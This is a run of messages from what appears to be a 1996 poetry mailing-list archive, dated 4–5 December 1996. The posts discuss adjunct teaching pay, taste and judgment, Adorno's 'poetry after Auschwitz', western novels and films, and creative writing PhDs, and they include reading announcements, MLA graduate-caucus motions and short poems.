i understand this is spoken from the subject position of one who holds a mighty 3/3.... but LO---at the amazing wage of $34,500 (in chicago) after five years on my campus (plus two years visiting elsewhere, and one adjunct), and at the ripe old age of 41... and ysee---unless i'm willing to throw in some customarily personal factors (such as my wife's income, or family support, or credit card debt, or whatever) then who can really understand where i'm coming from?... i have one colleague who drives a taxi at night to make ends meet, and another who sports either a sporty new car or a new-ish four-wheel drive blazer...

so i think the challenge here is to be as honest as we can be about our individual situations, and about our local situations, while pushing at the same time to ensure that the institution---nationally, say---moves in equitable directions... and i fully understand why my colleague who drives a taxi by night pushes a bit harder than most...

best,

joe

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147. **Kali Tal**
Re: tasty
Wed 4 Dec 1996

> *The number of memes with which we come into contact in our lives is enormous: why is it that some find fertile ground in our brains whereas others have no effect? Some 'infections' can be explained culturally (my taste for electronic music over guitar music fits in with my mathematical background and my love of abstraction), but how can we*

> *explain these original predilections? I tend towards the view that there is (and I know that this is a dirty word in these circles) a genetic influence - maybe I was born with a predisposition towards what we call Western Logic. I don't know.*

Tom,

Maybe some of our predilections *are* innate. The problem for me, though, is how we sort out innate predilections from culturally inculcated predilections. And of course, innate predilections are influenced by culture as well. (I train my dogs, and I'm thinking now of how you can ruin a "good" dog with "bad" training, and you can turn a "bad" dog into at least an acceptable dog with "good" training. And also how you can start with a dog who has a "natural taste" for fetching, and you can easily turn that innate attribute into an interest in a variety of kinds of "work"... none of which may involve fetching but which turn out to fulfill the same needs in the dog that fetching fulfills, or [through "bad" training] completely destroy her interest in fetching. The influences on people are much more complicated than the influences on dogs--partly because childhood is so long for people--and we have a hard time figuring *dogs* out.)

I figure that as long as these innate qualities can't be sorted out, we might as well concentrate on the cultural influences we *can* sort out. If we do a really complete job of this (which doesn't yet seem possible--and may never be), I suppose we can assume that whatever is "left over" is innate.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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148. aerialedge
Re: after this
Wed 4 Dec 1996

A few quotes from Adorno's _Minima Moralia_:

"The cause of immediacy is now espoused only by the most circumspect reflection."

"Terror before the abyss of the self is removed by the consciousness of being concerned with nothing so very different from arthritis or sinus trouble."

"micrological moral myopia"

"Every work of art is an uncommited crime."

"True thoughts are those alone which do not understand themselves."

"The ruse of the dazed rabbits redeems, with them, even the hunter, whose guilt they purloin."

no poetry?

--Rod

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149. Judy Roitman
Re: one seize tastes all
Wed 4 Dec 1996

Taste taste taste.

We had a little Rorschach test here recently -- Nova convention II, in honor of Burroughs, bringing a motley crew to our little town -- John Giorno, Phillip Glass, Laurie Anderson, Debbie Harry, Ed Sanders, Patti Smith. In my own little crowd no two people seemed to like the same stuff, and what any particular person liked was pretty unpredictable. Somehow I find this interesting.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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150. Burt Kimmelman
Re: PHDS
Wed 4 Dec 1996

Karl et al.,

My initial objection to CW PhD programs is simply that they may delude people into thinking that if they get the PhD then they are necessarily bona fide writers; in other words, I can imagine someone whose career as a writer ends with the degree, not because the once student now graduate wants the career to end there, but because the person has no talent and can't get published and so on. And I hasten to say here that I realize that in saying the above I am inviting commentary on what it means to be a writer; so let me say now that you should please not construe from my remarks here any particular philosophy about the vocation of writing.

burt

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151. **Burt Kimmelman**
Re: after this
Wed 4 Dec 1996

---

not to add to what may be a growing confusion. but wasn't it hannah arendt who said that after the auschwitz poetry is an impossibility (a paraphrase). of course i am aware of her comment about eichman: the banality of evil.

try primo levi?

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152. **Burt Kimmelman**
Re: Serbia
Wed 4 Dec 1996

Marjorie,

the letter to the times sounds like a great idea to me.

burt

↑ Index

153. **Jordan Davis**
didentite
Wed 4 Dec 1996

"Well, why not? Has he any bent suggestive of the stage? Apart from his love of flowers, of course."
"He takes readily to poetry, sir. Anything with a beat and no exact meaning excites him."
--Nigel Dennis, _Cards of Identity_

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154. **Charles Alexander**
Re: Johny Guitar
Wed 4 Dec 1996

At 11:54 PM 12/3/96 -0800, you wrote:
>All this talk on westerns has been about movies, I note. As the author of 2
>westerns (novels), I have to wonder whether any of you people grew up
>reading western novels, or whether that had stopped after I was a kid.

> *George Bowering.*
>
> ,

George, although I grew up in the West, I didn't grow up on those novels. But later I certainly came to admire such novels of the west as Willa Cather's Death Comes to the Archbishop, and even some of Edward Abbey, although he can be entirely sentimental at times. I certainly knew people who grew up reading Louis L'Amour and Zane Gray twenty years ago -- whether there are some who still do, I don't know. Which ones did you grow up reading?

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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155. **Christina Fairbank Chirot**

Re: Unorthodox Westerns

Wed 4 Dec 1996

On NBC morning news show today an official was excitedly discussing the exploration of Mars in terms of Westerns--that before the Colonists could be settled--the mountain men and Lewis and Clark had to precede them--

This followed by shots of a reporter walking on a set built by NASA--to resemble the surface of Mars--

no doubt to be the set for some Martian Westerns . . . coming soon to a theatre near you--

Re reading Westerns--would recommend the works of Leslie Marmon Silko--and MANKILLER--

Did Budd Boeticher ever get to finish his dream film--about bullfighting?

Taste--another connotation--a "taste" of heroin--"smack" some having thought to come from "schmeck"--Yiddish/German for "taste"--

"There are two kinds of spurs,my friend. Those that come in by the door and those that come in by the window. Take off that pistol belt."

--The Good, the Bad and the Ugly

"For writing is burning up alive, but it is also a rebirth from

its own ashes."
--Cendrars, The Detonated Man
-dbc

↑ Index

156. **amato**
Re: cyber-cowboys
Wed 4 Dec 1996

---

finally getting around to chewing through pierre's post from SO long ago (around 48 hrs!) about cspace as the frontier etc...

and yknow, the popularity of the western in these spaces (self-fulfilling prophecy for my part, i know) speaks precisely to the sense that these spaces seem a sort of west, a sort of opening out (though due east of my location---IF i'm willing to locate "this" post someplace in the heart of a suny/b mainframe, and if i'm willing to locate "mself" as in chicago)...

there's so much hype (incl. my own at times) about cspace that saying so may be mere platitude, but it strikes me that so many of us around here are such cowboy or cowgirl junkies...

joe

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157. **Eliza McGrand- CVA Guest**
craft ... the mouse in the snake
Wed 4 Dec 1996

---

joe i think i know what you mean about craft -- the tie-in to writing programs. i have some problems with those, the main one being that they seem arranged to admit people with connections, the "good" recommendation letters, but the people who most could use what they offer are the people WITHOUT connections, who HAVE no one to write recommendation letters... that is,... THE BEGINNERS! it all seems to work into a Certify In Something Or Other factory. but on the other hand, a little time to write, someone to pay attention and give you focused response, is that not a paradise of sorts? anyway, by craft, no, i would not, repeat, would NOT say it was that which is embued by apprenticeship with Famous Writer.

you know, so many of the great, original writers came to their writing as a solitary process (although with immense, hungry, chaotic reading) that there is a lot to be said for the "individual finding their own way" method. though since one (i should HOPE) is reading other poets, it isn't quite so alone, as it is self-guided.

what i have in mind by craft was captured beautifully by someone in the descriptive "attentive" -- a sort of deep, intense, committed attention to what is happening in the arrangement of the words, in the shaping of the idea, in the tracing out of where the idea goes. i suppose i emphasize craft because i really am tired to screaming of cocktail napkin school of poetry (you know, person gets drunk, writes their Beautiful Thoughts -- usually in terrible rhymes -- on a cocktail napkin, then shows this napkin, because they can't even be bothered to recopy it, much less rewrite and re-edit, whenever they want to prove how Lofty and Intelligent and Philosophical they are. GRRRHHHHHHHHH!!!) and a notion of "craft," as in workmanship, deep attention, lifetime course of learning more, tools, flexibility, respect, is such an antidote. e

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158. Eliza McGrand- CVA Guest

Re: Apology.....

Wed 4 Dec 1996

---

dear lynda (and dan) honestly, i wouldn't worry about it. there are always sour people on any list who live for an excuse to blast other people. once and a while poems go out on list, though usually only if connected to a topic under discussion. it sounds more, lynda, as if you are hoping for a poetry mailing list or workshop group. i can think of a few on the web, if you have access to the internet (a site i'm involved in, Creative Coalition of Artists, has one), where people post poems and others respond. i don't do much with the CCA site, and right now we're having problems getting the cgi scripts up at our new provider. but it is there. articulata also runs a site, and gives contributers an opportunity to post a selection of their own work (all for free). i would guess there are others...

e

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159. william marsh

Re: what graduate studies do

Wed 4 Dec 1996

Mark--

the emergence of the "contingent" work force has so many of us, i guess, in the bind that you speak of -- the one that makes us consider (reconsider) our career choices and inspires us as well to issue the kinds of warnings you exemplify so well in the story about your student. Quite clearly the prospect of acquiring that full-time, tenure-track professorial position i might have once dreamed about (dream modeled, no doubt, on what were probably the deluded ideas you

spoke of) seems less likely now, and although it remains a possibility down the road, i've adopted my "contingent" role for the most part with the same resolve and perhaps even fortitude that i'd think a lot of workers have (since the contingent work force is hardly an entity exclusive to the current academic environment but rather seems the order of the day).

Almost all of the instructors i know make their living "drifting" from school to school, accruing a salary piecemeal, but accruing it nonetheless (the slang in CA i think is "freeway flyer" -- is this common elsewhere?). Writers on the subject of contingent workforce often point out the advantages of such a life--flexibility, freedom, variety, etc.--and perhaps there's some wisdom in that, although, depending on the particular situation, the disadvantages (instability, etc.) could outweigh.

One reason for hope, i believe, might be what i perceive to be a re-emergence of interest in liberal studies, particularly in the guise of that new academic rubric "Writing and Commuications." I currently work for a university (part-time, "associate" faculty) that caters primarily to adult professionals returning to complete or acquire degrees in everything from Business and Management to, well, Liberal Studies. I'm constantly being reminded, by students and faculty alike, and even across disciplines, that there's a real need out there in all fields for people who know how to write/communicate effectively, a notion which has some lasting resonance, for me at least, given the fact that i'm working with people who have been "out there" and who, having recognized the need, come back to do something about it.

My feeling is that there is, in fact, a solid market for teachers of writing--and that the specific situation i'm speaking of here may herald a new "professional" interest in fundamental thinking/writing/communicating skills that could, in turn, create jobs (albeit contingent) for the dedicated. Of course this may be unique to my local environment and my perception, but as a teacher of writing myself i do feel for the most part "in demand" -- the market may be shifting to a different group (i.e., from undergratuage state university to private professional university), but it's there nonetheless.

The trick, i guess, is to empower ourselves through our new role as "contingent" teacher / and i'd be curious to know how you or anyone else might envision the process by which one could do that. Given a few select memories of certain "full professors" i had, as both grad and undergraduate, and also given the unique series of contortions you point out as being necessary to the "proper method" of getting a job, i'm not so sure i'm interested anymore in aspiring to that goal, delusion or not.

Take care.

Bill

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160. Karl Richter
Re: PHDS
Wed 4 Dec 1996

On Wed, 4 Dec 1996, Burt Kimmelman -@NJIT wrote:

> *My initial objection to CW PhD programs is simply that they may delude people into thinking that if they get the PhD then they are necessarily bona fide writers; in other words, I can imagine someone whose career as a writer ends with the degree, not because the once student now graduate wants the career to end there, but because the person has no talent and can't get published and so on. And I hasten to say here that I realize that in saying the above I am inviting commentary on what it means to be a writer; so let me say now that you should please not construe from my remarks here any particular philosophy about the vocation of writing.*

I understand your point. I went through that delusion upon getting an MFA: I imagined that suddenly I would begin to be published everywhere, that writing would become easy somehow just because I'd earned my credential. It took me a while to get over it, to realize that any fully engaged writer must constantly re-embrace her/his apprenticeship, that there's NEVER a point at which she/he stops learning and begins writing. (You were right. It's difficult to avoid philosophizing about the nature of the artistic enterprise when you begin to examine the artist's expectations and societal role.) However, I think that the feeling that one is 'done' as a writer, that one finally knows what she/he is doing, is a stage most young writers, whether in the academy or not, go through. Maybe I'm wrong about that. Anyway, my point is that no one who is talented and active will be limited by a creative-emphasis PhD, not any more than someone who is talentless and lazy will be enhanced by one. Writing and publishing are hard no matter the context of one's life/living.

Karl Richter
[redacted]

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161. Joseph Lease
Re: taste, judgment, etc...
Wed 4 Dec 1996

it's possible that taste has never been experienced or looked at outside an investigation however selforunselfconscious of its relation to power structures race class gender: however one problem we postmodern folk who know Pound for example knowing this (we could do likewise with Stein or Williams or Eliot)

is how do we experience agency . . . our perceived and experienced subject position to make decisions and commitments with very real consequences.

so it's not either the aesthetic or the political but both and

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162. **Joseph Lease**
Re: after this
Wed 4 Dec 1996

Rod,

Do you know David Shapiro's powerful response to Adorno: an essay called "After"?

In a book called Testimony, ed. David Rosenberg.

A hugely powerful piece with everything to do with Celan and Rothenberg.

It inspired my poem Slivovitz (in Talisman 15).

I think history is a kind of litmus test for politics. Adorno's perception is the crux of that: if we can't speak we can't speak.

All best,
Joseph

On Wed, 4 Dec 1996 [redacted] wrote:

> *A few quotes from Adorno's _Minima Moralia_:*
>
> *"The cause of immediacy is now espoused only by the most circumspect reflection."*
>
> *"Terror before the abyss of the self is removed by the consciousness of being concerned with nothing so very different from arthritis or sinus trouble."*
>
> *"micrological moral myopia"*
>
> *"Every work of art is an uncommited crime."*
>
> *"True thoughts are those alone which do not understand themselves."*
>
> *"The ruse of the dazed rabbits redeems, with them, even the hunter, whose guilt they purloin."*
>
> *no poetry?*
>
> *--Rod*

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163. **DS**
Re: one seize tastes all
Wed 4 Dec 1996

I think Pound is a good example here.

At 06:26 PM 12/3/96 -0500, you wrote:
>It was the other Wystan (Auden) who made the distinction between taste and
>judgment and allowed as how the former should not impede the latter. I may
>not be enthralled with say, _Naked Lunch_, but if I'm not, I ought not to
>let my distaste for it affect my judgment of its accomplishments (or lack
>thereof). Similarly, my affection for a work shouldn't blind me to its
>aesthetic/political/cultural faults, as for instance with the recently
>stated liking by some, myself included, for John Wayne. Inversely, my wife
>can't abide Frank Sinatra b/c he was (is) such a nasty little shit to
>people. I understand, but I still say it's her loss.
>
>Patrick Pritchett
> ----------
>From: Aldon L. Nielsen
>To: POETICS
>Subject: Re: one seize tastes all
>Date: Tuesday, December 03, 1996 6:11PM
>
>
>it was precisely the reductiveness that I was responding to --
>
>Nothing wrong at all with "finding out for oneself" -- MUCH wrong, to my
>view, with the refusal, on grounds of "taste" or otherwise, to come to
>grips with aesthetic differences -- The refuge of "taste" is, I think,
>most often a refusal indeed to find out for oneself -- It's certainly a
>refusal to put one's findings to the test of contact with the findings of
>others -- Pound and Olson, no matter how narrow there focus could at time
>be, didn't seem to me to be reluctant to spell out the supposed gounds of
>their judgements (Though they were sometimes prone not to attend closely
>to those who dispute their grounds)
>
>"Their" above, up there
>
>I do not have the particular sets of aesthetic judgements I have in my
>head simply because I inhaled them, helplessly (and that doen't at all

>seem to be what Kali was saying either) -- but they're certainly the
>result of interactions with some specifiable social strutucres -- and my
>reactions against those structures are as discussable as what I gathered
>from them --
>
>

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164. Joseph Lease

Re: after this

Wed 4 Dec 1996

Avrom Sutzkever is probably less read by avant-garde poets than he should be: he was in the Vilna ghetto and resistance: a remarkable poet, gorgeous and haunted in a way almost completely unlike the way Celan is.

All best,
Joseph

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165. tmandel

"The Man Who Shot the Other Man"

Wed 4 Dec 1996

For those who don't recognize the phrase

"The Man Who Shot the Other Man"

it is the title of a poem of mine in Letters of the Law (Sun & Moon 1994 -- available from SPD, Rod, etc.), the first poem in the book in fact.

A friend of mine is the source: "Oh, you always want to watch some movie about 'the man who shot the other man'" she said.

Obviously the phrase is a turn on "The Man Who Shot Liberty Valance" by Ford,

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

166. robert zamsky
Re: after this
Wed 4 Dec 1996

a coupl of thoughts on this line of writing after Aushwitz. first, arendt did say that, as well as Adorno, though I can't remember where (big help, i know). Also, all of her talk about the alternatives to violence (as her example, that of the late sixties) demonstrates the difficulty of negotiating between the horror of totalitarianism and the desire for retribution -- a crux that pushes her to find "reason" as the answer (though I'm bothered by her lack of grappling with the question of whose "reason" this might be).

Also, what about Maurice Blanchot's book, _Writing the Disaster_, a newly revised edition came out last year, though I've not yet had a chance to look at it. Anyone?

Just some thoughts.
>
> not to add to what may be a growing confusion. but wasn't it hannah
> arendt who said that after the auschwitz poetry is an impossibility
> (a paraphrase). of course i am aware of her comment about eichman:
> the banality of evil.
>
> try primo levi?
>

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167. Jordan Davis
Coultas / Mlinko @ POETRY CITY
Wed 4 Dec 1996

It's not too late to get your tickets for the Brenda Coultas / Ange Mlinko reading at Poetry City (5 Union Sq W, NYC) tomorrow night at 7 p.m. Actually, there are no tickets. It's free. We just ask that you buy a book. Incidentally, you'd like the books of these two writers a lot. J Davis

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168. Andrew D Epstein
Alice Notley & Vincent Katz (NYC)
Wed 4 Dec 1996

Hi! I wanted to announce another reading in the FW Dupee Poetry Reading Series at Columbia Univeristy, and to invite any of you in the area to attend:

ALICE NOTLEY and VINCENT KATZ
Introduced by Kenneth Koch

Monday, December 9
8 PM
Maison Francaise
Columbia University
116 & Broadway (take the 1 or 9 subway to 116th and go through the gates)
Admission is free
Wine and Cheese reception will follow

Alice Notley is the author of numerous books of poetry, including How Spring Comes (1981), The Selected Poems of Alice Notley (1993), and The Descent of Alette (1996). Her work is the subject of several essays (some by list members!) in the most recent issue of _Poetics Briefs_, ed. Jefferson Hansen.

Vincent Katz, poet and translator, is the author of Cabal of Zealots (1988), New York Hello! (1990, photos by Rudy Burkhardt), and most recently, Charm, translations of poems by Sextus Propertius (1995, Sun & Moon).

I hope you can make it!

Andrew Epstein

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169. Joel Felix
The Western Moon/Another Stone
Wed 4 Dec 1996

Poem for the Discovery of Ice on the Moon
    after NBC

Not to scale, my
Clementine your red and
widening waves probe
nether craters sad to say not
hung with bat-women and men
but it’s good work after the C.I.A., don’t
you think? When little I would
have gone to Space even if
never to return void being such draw
but now I’m too much people.
The moon is a long shot away, and
I miss it already.

12-04
joel felix

↑ Index

170. **Jeffrey W. Timmons**
Re: Apology.....
Wed 4 Dec 1996

On Tue, 3 Dec 1996, IMBURGIA wrote:

> I am the Wife of Listserve addressee, Dan. I thought this was a place to share poetry from the heart! I see from one persons response, that I was wrong! I am sorry! I will never send anything to you again. Please, do not let my sharing reflect on my Husband...who is a serious student and respectful reader of your List.

no you should continue to post when/what ever youd like. i apologize if i offended you. please dont let this keep you from doing what you like. its just that texts get recycled here in cyberspace. dont let what i did keep you from speaking. in all sincerity: write what you want. please.

Jeffrey Timmons

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171. **amato**
Re: Serbia
Wed 4 Dec 1996

---

yeah, i like the letter to the times idea too, esp. after hearing that the u.s. is beginning to back the protesters... so how do we proceed?... OR, anybody feel up to writing such a thing?...

joe

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172. **amato**
paul carroll...
Wed 4 Dec 1996

---

just read a poignant tribute in the chicago trib. magazine, "for paul: appreciating a fallen poet who led a brief revival of the art," by barry silesky, about the poet paul carroll, who evidently died last summer... it mentions that paul hoover (hi paul and maxine! if you're out there) was a student of carroll's, and i'm just wondering if anybody is familiar with his work... the article mentions that in 1968, carroll wrote _the poem in its skin_, and "edited a major

anthology, _the young american poets_, which came to be the first major publication for many of its since-famous contributors"... anyway, just trying to get a grip on paul carroll's poetry...

joe

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173. Jeffrey W. Timmons
Re: after this
Wed 4 Dec 1996

---

after this

immediacy espoused
by the circumspect

Terror abyss of self
removed by consciousness
concerned with nothing:
art is an uncommited crime

thoughts do not
understand themselves

ruse:
dazed rabbits redeem
even the hunter

guilt

↑ Index

174. Jeffrey W. Timmons
Re: Apology.....
Wed 4 Dec 1996

On Wed, 4 Dec 1996, Eliza McGrand- CVA Guest wrote:

> *dear lynda (and dan)*
> *honestly, i wouldn't worry about it. there are always sour people on any*
> *list who live for an excuse to blast other people.*

just a clarification: i am not a sour person and i did not "blast" anyone. again: i apoligize if i offended. i was just playing with the text.

Jeffrey W. Timmons

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175. **Aldon L. Nielsen**
Re: what graduate studies do
Wed 4 Dec 1996

There are, and always have been, cheaper and perhaps better ways to study and discuss literature than attending graduate school -- some get PhDs because teaching is one of the only ways to make any kind of living at all working directly with literature -- but I've always believed that the only compelling reason to go through what one goes through in a PhD program is a desire to work with literature specifically as an educator -- now, I agree with much in the recent posts on this subject, but there is an odd acceptance hovering around some of the discussion -- If one looks at the demographics (the same figures that caused people in the mid-eighties to predict a coming teacher shortage) it is clear that the numbers probably would be there (at least on a national scale) to employ a considerably larger percentage of hte PhDs in English than we are currently employing -- There are few schools at which grad. students are their to give employment to the professors -- the majority of universities and colleges in the U.S. would have no trouble at all finding plenty of work for their current professors to do working only with undergrads (let us hastily admit that many of our colleagues don't want to be so employed) --

At San Jose State, we were ordered to make cuts at a time when our number of English majors was increasing -- and we were not alone in this --

There is a reason that universities want to shrink the number of tenured, tenure-track and full-time instructors -- They call it flexibility -- what would you call it?

One of two things is going to happen if we do not succeed in making significant political changes with regard to education issues soon -- either the right will succeed in privatizing higher education and rationing the goods (and you can guess who will get the goodies under that scenario) -- or "liberals" will reach a compromise under which higher education will be offered to larger numbers of students using a labor force of MOSTLY part-time and untenured faculty --

Jobs didn't just disappear because of a recession, and they didn't disappear because of a real drop in the numbers of college age youth with a least a modicum of desire for humanities and arts education --

On the up-side -- school measures finally started to win again on the ballot in Colorado this time around (where I read in the morning paper about a charter school that has been violating all the laws with regard to education for the "disabled")

unchartered and uncharted,
aldon

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176. **Jeffrey W. Timmons**
Re: craft ... the mouse in the snake
Wed 4 Dec 1996

On Wed, 4 Dec 1996, Eliza McGrand- CVA Guest wrote:
> what i have in mind by craft was captured beautifully by someone in the
> descriptive "attentive" -- a sort of deep, intense, committed attention
> to what is happening in the arrangement of the words, in the shaping of
> the idea, in the tracing out of where the idea goes.
> and a notion of "craft," as
> in workmanship, deep attention, lifetime course of learning more, tools,
> flexibility, respect, is such an antidote.

i wont argue about the rhyming napkin bit but i think that something should be said for other methods of composition/construction. the version of craft here is only one means only one sort of process that can be used to create writing effects--anyone whos read kathy acker can attest to the strangeness of what happens there and while it does not fit this description of craft it nevertheless produces readerly responses. frank ohara is another case: many poems are occasional in just the sense of the napkins here mentioned--yet they are brilliant moments. perhaps i am just not much of a romantic humanist but the notion of an isolated individual toiling away at his (!) craft does not account for all the methods of aesthetic production in this technological age. benjamin not wordsworth. reproduction not authenticity.

jeffrey timmons

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177. **main**
Re: after this
Wed 4 Dec 1996

---

adorno's _prisms_ (p. 34): "The more total society becomes, the greater the reification of the mind and the more paradoxical its effort to escape reification on its own. Even the most extreme consciousness of doom threatens to degenerate into idle chatter. Cultural criticism finds itself faced with the final stage of the dialectic with culture and barbarism. To write poetry after Auschwitz is barbaric." also see adorno's _negative dialectics_, and rothenberg's _khurbn_: "an answer . . . to the proposition." dan featherston

On Tue, 3 Dec 1996, ms wrote:

> *i've been lurking, learning, looking for a week or so now without responding to anything whatsoever due to my newbiw status to the world of the poetical-academic.*
>
> *now that's done with:*
>
> *can anyone please tell me as to who first said that there could be no writing in the aftermath of the Holocaust?*
>
> *i know there's a direct (and quite possibly a very famous) quote as such, that i've read somewhewre, but i can't for the life of me figure out where.*
>
> *thanx again and sorry if i've bungled ny of you up with this itty-nitty-bitty query.*
>
> *laytahs,*
> *manny savopoulos*
> *"The more things resist me the more rabid I get."*
> *-Samuel Beckett*

↑ Index

178. Aldon L. Nielsen
Re: "The Man Who Shot the Other Man"
Wed 4 Dec 1996

and the friend of Tom's from whom I first heard this phrase is Norma Cole, whose books you really should always already have read

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179. Matt Kirschenbaum
what grad students (and others) can do -- for a start
Wed 4 Dec 1996

The Graduate Student Caucus of the MLA will be submitting the following motions, as well as the following resolution, to the MLA Delegate Assembly at the upcoming convention. If you're an MLA member and would like to support them, please consider attending the Delegate Assembly's meetings: sessions 178 and 432.

Feel free to forward as appropriate. Those who'd like more information about the GSC may contact me or its current President, Marc Bousquet <[redacted]>.

--Matt (VP for Policy, GSC)

October 15, 1996. The Graduate Student Caucus respectfully submits the following motions to the Delegate Assembly:

1) Staffing patterns--Standards

Whereas the proportion of part-time teachers in the academy has accelerated to unacceptable levels over the past two decades, and

Whereas language and literature departments have been particularly vulnerable in this regard, and

Whereas this trend threatens academic freedom, faculty self-governance, democratic access to the profession, reduces opportunity for student-faculty interaction, and disables the production of new knowledge in the discipline,

We move that the Committee on Professional Employment determine minimum standards of acceptable full time/part time ratios by various instititional circumstances, and report those standards by the next convention.

Motion 2 Staffing Patterns--Accreditation

We move that MLA direct substantial efforts to convincing accreditation agencies that educationally sound full-time/part-time faculty ratios (measured on a department-by-department basis) should be a determining factor in the accreditation process.

Motion 3. Public Relations.

Whereas working conditions in the academy are directly affected by social policy, and

Whereas MLA already devotes resources to public relations,

We move that MLA direct substantial public relations resources toward the immediate task of making the public aware of the educational advantages of reconverting part-time work to full-time jobs.

Motion 4. Representation.

Whereas MLA has recently acted to provide proportional representation for graduate students in the Delegate Assembly (MLA Constitution X.3),

Whereas the principle of "fair representation" in the Executive Council is already established with respect to the variety of modern languages represented by the membership (MLA Constitution VII.7 and VIII.5), and

> *Whereas graduate students and adjunct faculty do more than forty percent of all higher education teaching,*
>
> *We move that MLA extend the principles of fair and proportional representation to the Executive Council and standing committees of the association to*
> *include graduate students and adjunct faculty in proportion to their membership in the association.*
>
> *[motions revised November 19th] MORE-Resolution revisions follow below*
>
> _____
> *October 15, 1996. The Graduate Student Caucus respectfully submits the following resolution to the Delegate Assembly:*
>
> *RESOLUTION:*
>
> *Whereas the increasing exploitation of graduate student and adjunct labor threatens the academic employment futures of at least one third of the Association's present membership (and all of its future membership), and*
>
> *Whereas the law represents an important instrument in shaping staffing patterns in higher education, both through funding initiatives (such as California's 1988 act AB 1725, which provides incentives for community colleges to move toward a staffing pattern of 75% full-time instructors), and labor-equity decisions (such as recent decisions at the state and federal level determining the right of graduate employees at both public and private universities to collective bargaining),*
>
> *Be it resolved that MLA take the lead in working with other disciplinary and higher-education groups in encouraging legislative and policy bodies at the national or state level to adopt and fund initiatives which would provide for labor equity in graduate-employee and adjunct work, and provide incentives for higher-education institutions to begin reductions in their reliance upon such labor.*
>
> *[revised November 19th]*

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180. **Jeffrey W. Timmons**
Re: taste, judgment, etc...
Wed 4 Dec 1996

From A Philosophical Enquiry into the Origin of Our Ideas of the Sublime and Beautiful

(Second edition, 1759)

"ON TASTE"

On a superficial view, we may seem to differ very widely from each other in our reasonings, and no less in our pleasures: but notwithstanding this difference, which I think to be rather apparent than real, it is probable that the standard both of reason and Taste is the same in all human creatures. For if there were not some principles of Judgment as well as of sentiment common to all mankind, no hold could possibly be taken either on their reason or their passions, sufficient to maintain the ordinary correspondence of life. It appears indeed to be generally acknowledged, that with regard to truth and falsehood there is something fixed. We find people in their disputes continually appealing to certain tests and standards which are allowed on all sides, and are supposed to be established in our common nature. But there is not the same obvious concurrence in any uniform or settled principles which relate to Taste. It is even commonly supposed that this delicate and aerial faculty, which seems too volatile to endure even the chains of a definition, cannot be properly tried by any test, nor regulated by any standard. There is so continual a call for the exercise of the reasoning faculty, and it is so much strengthened by perpetual contention, that certain maxims of right reason seem to be tacitly settled amongst the most ignorant. The learned have improved on this rude science, and reduced those maxims into a system. If Taste has not been so happily cultivated, it was not that the subject was barren, but that the labourers were few or negligent; for to say the truth, there are not the same interesting motives to impel us to fix the one, which urge us to ascertain the other. And after all, if men differ in their opinion concerning such matters, their difference is not attended with the same important consequences, else I make no doubt but that the logic of Taste, if I may be allowed the expression, might very possibly be as well digested, and we might come to discuss matters of this nature with as much certainty, as those which seem more immediately within the province of mere reason. And indeed it is very necessary at the entrance into such an enquiry, as our present, to make this point as clear as possible; for if Taste has no fixed principles, if the imagination is not affected according to some invariable and certain laws, our labour is like to be employed to very little purpose; as it must be judged an useless, if not an absurd undertaking, to lay down rules for caprice, and to set up for a legislator of whims and fancies....

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181. **Tom Beard**

Re: after this

Wed 4 Dec 1996

---

after this,
    none but lyric

day
& other breakages

end as soft

mouths no more
believe
in light

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182. **wystan**
Forwarded: Sackler Archive
Wed 4 Dec 1996

From: "Tony Green" <[redacted]>

Dear Loss or Charles,
Can you help Tony out with this address--he's off
the List at the moment?
Thanks.
Wystan

Hello Wystan Cd you find out for me on the Poetics list the addrsss of the Marvin Sackler Archive (of concrete and visual poetry I think it is) Florida. They used to subscribe to Splash.

Reason is Tara McLeod phoned last night to say he's printing a poem I sent him for his project of a foldout book (15 pages) and the Sackler shd be a buyer, I guess.

I think this counts as a book he's publishing, so I will be able to
shave
off my beard.

best

Tony Green,
e-mail: [redacted]

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183. **tmandel**
...the other man
Thu 5 Dec 1996

Yes, Aldon is correct: it was Norma's remark. Not knowing whether she'd want to be quoted I made no identification.

tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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184. George Bowering

Re: Johny Guitar

Thu 5 Dec 1996

>George, although I grew up in the West, I didn't grow up on those novels.
>But later I certainly came to admire such novels of the west as Willa
>Cather's Death Comes to the Archbishop, and even some of Edward Abbey,
>although he can be entirely sentimental at times. I certainly knew people
>who grew up reading Louis L'Amour and Zane Gray twenty years ago -- whether
>there are some who still do, I don't know. Which ones did you grow up reading?
>
>charles
>
Well, not the literary ones, Charles, that's for sure. I learned early, though I didnt know the terminology, that there were in the genre of westerns, all the range of writing-strategies elsewhere. I liked, or said I did, Max Brand the best, and know that he was a representative of the Romantic impulse, especially in the Silvertip series, and I pity any man who didnt read those as a boy. I knew about 2 women in my life who liked westerns, by the way. The hardboiled realist angle was fronted by Luke Short, and I liked him, too. Also Evan Evans, who was also Peter Dawson, etc. Ernest Haycox. E.E. Halleran. Walt Coburn. Bliss Lomax. Wayne D. Overholser. Frank O,Rourke.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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185. George Bowering
Re: -cowboys
Thu 5 Dec 1996

I think the western was going strong in the 60s. I mean in the Viet Nam war, as itr is called. The US guys didnt take scalps but they took ears. They called the enemy-filled place Apache country, etc etc.

Of course Whitman called it passage to more than India.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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186. Gabrielle Welford
(no subject)
Thu 5 Dec 1996

Dear everyone and all. I am to the MLA going to give a paper and cannot afford to pay for a hotel room. Is there anyone there already who has a floor I can occupy about 5' 4" worth of? Or anyone going who'd be willing to let me sleep on their hotel room floor? I don't snore. Backchannel me please with your huge replies. Hopeful... gab.

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187. Gabrielle Welford
(E) ZAPATISTA HOMEPAGE (fwd)
Thu 5 Dec 1996

---------- Forwarded message ----------
Date: Wed, 4 Dec 1996 01:12:10 -1000
